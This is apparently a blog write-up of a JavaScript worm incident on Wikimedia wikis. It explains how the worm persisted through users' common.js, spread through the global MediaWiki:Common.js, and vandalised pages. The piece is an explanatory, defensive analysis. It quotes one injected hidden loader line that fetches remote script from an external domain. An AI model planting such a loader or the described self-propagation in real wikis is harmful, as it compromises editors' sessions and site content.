Earlier this month, Wikipedia got hit by something you don’t see very often anymore: a self propagating JavaScript worm. Not a phishing campaign, not a ransomware attack. An actual worm that spread from user to user across the platform, vandalizing pages and rewriting scripts as it went.
And the wildest part? The malicious code had been sitting dormant on Russian Wikipedia since March 2024. A full two years before anyone triggered it.
What Actually Happened
On March 5th, a Wikimedia employee account executed a JavaScript file called User:Ololoshka562/test.js while testing user script functionality. Whether this was intentional, accidental, or the result of a compromised account still isn’t entirely clear. What is clear is that once that script ran, things escalated fast.
The script was a worm. Once loaded in a logged in editor’s browser, it did two things immediately.
First, it overwrote the user’s personal common.js file with a loader that would automatically fetch and run the malicious script every time that user browsed Wikipedia while logged in. So now the worm persists. Every time the infected user comes back, the script runs again.
Second, and this is the nasty part, if the user had sufficient privileges, the worm would also modify the global MediaWiki:Common.js script. This is the script that runs for every single editor on the platform. So one privileged account getting infected meant the worm could spread to everyone.
How MediaWiki Scripts Work (And Why This Was Possible)
If you’re not familiar with MediaWiki’s architecture, here’s the thing that makes this attack possible: MediaWiki allows both global and per user JavaScript files that execute in editors’ browsers. These scripts are meant for customizing the wiki interface. Adding keyboard shortcuts, reformatting toolbars, quality of life stuff.
But because these scripts run with the full privileges of the logged in user, they can also make edits. They can modify pages. They can modify other scripts. There’s no sandboxing separating “this JavaScript is for UI customization” from “this JavaScript is making edits on behalf of the user.” It’s all the same execution context.
The worm exploited this completely. Once it was running in your browser, it used your session to propagate itself. You didn’t have to click anything. You didn’t have to approve anything. Your browser was doing the worm’s work for you.
The Vandalism
Beyond spreading itself, the worm also grabbed random Wikipedia pages using the Special:Random command and vandalized them. It would insert a giant image (a woodpecker photo, for some reason) and inject a hidden JavaScript loader that pointed to an external domain called basemetrika.ru.
The hidden loader looked like this:
<span style="display:none">
[[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]]
</span>Roughly 3,996 pages were modified and about 85 users had their common.js files replaced before Wikimedia engineers locked down editing across the platform and started reverting changes.
23 Minutes of Chaos
According to the Wikimedia Foundation’s statement, the malicious code was active for only 23 minutes. In that window it managed to infect dozens of user accounts, vandalize thousands of pages on Meta Wiki, and delete content that had to be restored afterward.
The Foundation also clarified that the damage was contained to Meta Wiki specifically, not the main Wikipedia articles most people read. No personal information was breached. The security issue has been resolved and editing is back to normal.
But 23 minutes. That’s how fast a JavaScript worm can spread through a platform when it has access to user sessions and editable scripts.
Why This Matters Beyond Wikipedia
This incident is a textbook example of something security people talk about all the time but rarely get to see in the wild: the danger of user executable code running in a shared trust environment.
Wikipedia trusted its editors to write JavaScript that customizes their experience. That trust is reasonable. Most editors are there in good faith. But the architecture didn’t account for what happens when a malicious script enters that trusted space. Once it did, the trust model collapsed. Every editor’s browser became a propagation vector.
This same pattern shows up everywhere. Browser extensions that can read and modify page content. CI/CD pipelines that execute arbitrary scripts from dependencies. User submitted plugins in CMS platforms. Any system where untrusted code runs with trusted privileges is vulnerable to exactly this kind of attack.
The Dormancy Problem
Maybe the most unsettling detail is the timeline. The malicious script was uploaded in March 2024. It sat there for two full years before being executed. That’s a long time for a loaded gun to sit on a shelf.
This is a pattern worth paying attention to. Attackers don’t always need to find a zero day or break through a firewall. Sometimes they just need to plant something and wait. Supply chain attacks work the same way. A compromised dependency can sit in your node_modules for months before the payload activates.
The question isn’t just “is our code secure right now?” It’s also “has something been sitting in our codebase, waiting?”
What We Can Learn
If you’re building any platform that allows user contributed code or scripts, this incident should be required reading. Think about execution sandboxing. Think about privilege separation. Think about what happens when a trusted account executes something malicious, either by accident or because the account was compromised.
And if you’re a developer who uses shared platforms with scriptable interfaces, take a look at what’s running in your environment. Check your common.js. Audit your browser extensions. Know what code is executing on your behalf.
A two year old dormant script on Russian Wikipedia turned into a self replicating worm in under a minute. The next one probably won’t be as obvious as a giant woodpecker photo.